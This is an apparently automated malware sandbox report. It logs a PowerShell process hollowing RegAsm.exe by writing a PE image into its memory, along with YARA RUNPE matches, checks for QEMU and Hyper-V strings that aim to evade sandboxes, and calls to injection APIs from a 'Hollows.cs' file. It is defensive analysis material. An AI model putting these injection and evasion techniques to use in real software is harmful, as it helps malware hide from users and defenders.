Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected RUNPE

Source: Yara match	File source: 0.2.powershell.exe.2c3ef2e0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.2c3d84acbf0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.2c3d84a6ca4.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.2c3d70f5c70.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.2c3d70f0684.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.2c3d84a6ca4.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.2c3d70f0684.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.2c3d84b35b0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2236665088.000002C3EF2E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2206077558.000002C3D70F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2206077558.000002C3D84A6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2206077558.000002C3D84B3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6324, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegAsm.exe, 00000003.00000002.2218088489.00000000032C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE`,
Source: RegAsm.exe, 00000003.00000002.2218088489.00000000032C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE
Source: RegAsm.exe, 00000003.00000002.2218088489.00000000032C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE@\

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 1450000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 3170000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 30C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4961			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4931			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3660	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2056	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4176	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: RegAsm.exe, 00000003.00000002.2218088489.00000000032C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe
Source: RegAsm.exe, 00000003.00000002.2218088489.00000000032C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe`,
Source: svchost.exe, 00000005.00000002.3412414217.0000021AB1C41000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.3412447260.0000021AB1C54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.3411465347.0000021AAC62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000003.00000002.2218088489.00000000032C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe@\
Source: powershell.exe, 00000000.00000002.2235685350.000002C3EEF98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll77

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 0.2.powershell.exe.2c3d84b35b0.4.raw.unpack, Hollows.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 0.2.powershell.exe.2c3d84b35b0.4.raw.unpack, Hollows.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 0.2.powershell.exe.2c3d84b35b0.4.raw.unpack, Hollows.cs	Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num3 + 8, ref buffer, 4, ref bytesRead)
Source: 0.2.powershell.exe.2c3d84b35b0.4.raw.unpack, Hollows.cs	Reference to suspicious API methods: VirtualAllocEx(processInformation.ProcessHandle, num2, length, 12288, 64)
Source: 0.2.powershell.exe.2c3d84b35b0.4.raw.unpack, Hollows.cs	Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num4, payload, bufferSize, ref bytesRead)

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 4AA000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 4AC000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1107008	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Jump to behavior

Source: RegAsm.exe, 00000003.00000002.2218088489.0000000003407000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: GetProgmanWindow
Source: RegAsm.exe, 00000003.00000002.2218088489.0000000003407000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SetProgmanWindow

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
